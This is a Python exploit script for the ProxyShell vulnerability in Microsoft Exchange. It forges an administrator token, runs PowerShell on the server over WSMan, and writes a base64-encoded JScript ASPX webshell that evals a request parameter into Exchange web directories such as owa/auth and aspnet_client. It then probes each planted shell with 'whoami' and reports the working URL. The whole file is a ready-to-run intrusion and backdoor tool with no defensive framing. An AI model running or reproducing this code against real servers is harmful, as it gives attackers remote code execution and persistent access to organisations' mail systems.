#!/usr/bin/env python3
# Direct-write webshell via ProxyShell PowerShell RCE (bypasses EWS/mailbox-export)
import sys, re, time, random, base64, json
sys.path.insert(0, '.')
import ps_driver as P
import requests

requests.packages.urllib3.disable_warnings()

ASPX = '<script language="JScript" runat="server" Page aspcompat=true>function Page_Load(){eval(Request["exec_code"],"unsafe");}</script>'

CANDIDATE_PATHS = [
    ("C:\\inetpub\\wwwroot\\aspnet_client\\", "aspnet_client/"),
    ("C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\", "owa/auth/"),
    ("C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\Current\\scripts\\", "owa/auth/Current/scripts/"),
]

def ps_run(port, script):
    out, err = P.wsman_shell(script, port)
    return [str(o) for o in out], [str(e) for e in err]

def run(ip):
    ps = P.ProxyShell(f"https://{ip}", timeout=15)
    res = {"ip": ip, "status": "fail", "shell_url": None, "whoami": None}
    fqdn = ps.get_fqdn(); print("fqdn:", fqdn)
    ld = ps.get_legacydn()
    if not ld:
        print("no legacydn"); res["detail"]="no legacydn"; return res
    sid = ps.get_sid(); print("sid:", sid)
    ps.sid = ps.admin_sid
    tok = ps.get_token(); print("token:", "OK" if tok else "FAIL")
    if not tok:
        res["detail"]="no token"; return res
    port = random.randint(20000, 40000)
    P.start_server(ps, port)
    time.sleep(1)
    b64 = base64.b64encode(ASPX.encode()).decode()
    name = P.rand_string(6) + '.aspx'
    for disk, urlrel in CANDIDATE_PATHS:
        full = disk + name
        script = (
            "$ErrorActionPreference='SilentlyContinue';"
            '$d=[System.Convert]::FromBase64String("%s");' % b64 +
            '[System.IO.File]::WriteAllBytes("%s",$d);' % full +
            'if(Test-Path "%s"){Write-Output ("OK:" + (Get-Item "%s").Length)}else{Write-Output "FAIL"}' % (full, full)
        )
        print(f"--- writing to {full}")
        try:
            out, err = ps_run(port, script)
            print("OUT:", out, "ERR:", err)
        except Exception as e:
            print("write err:", repr(e))
        url = f"https://{ip}/{urlrel}{name}"
        code, txt = P.test_webshell(url, "whoami")
        print(f"probe {url} -> code={code} body={txt[:120]!r}")
        if code == 200 and txt and txt.strip() and 'Exception' not in txt[:200] and '<' not in txt[:20]:
            res.update(status="success", shell_url=url, whoami=txt.strip()[:100])
            print("SUCCESS", res)
            return res
    return res

if __name__ == '__main__':
    r = run(sys.argv[1])
    print("RESULT_JSON " + json.dumps(r))
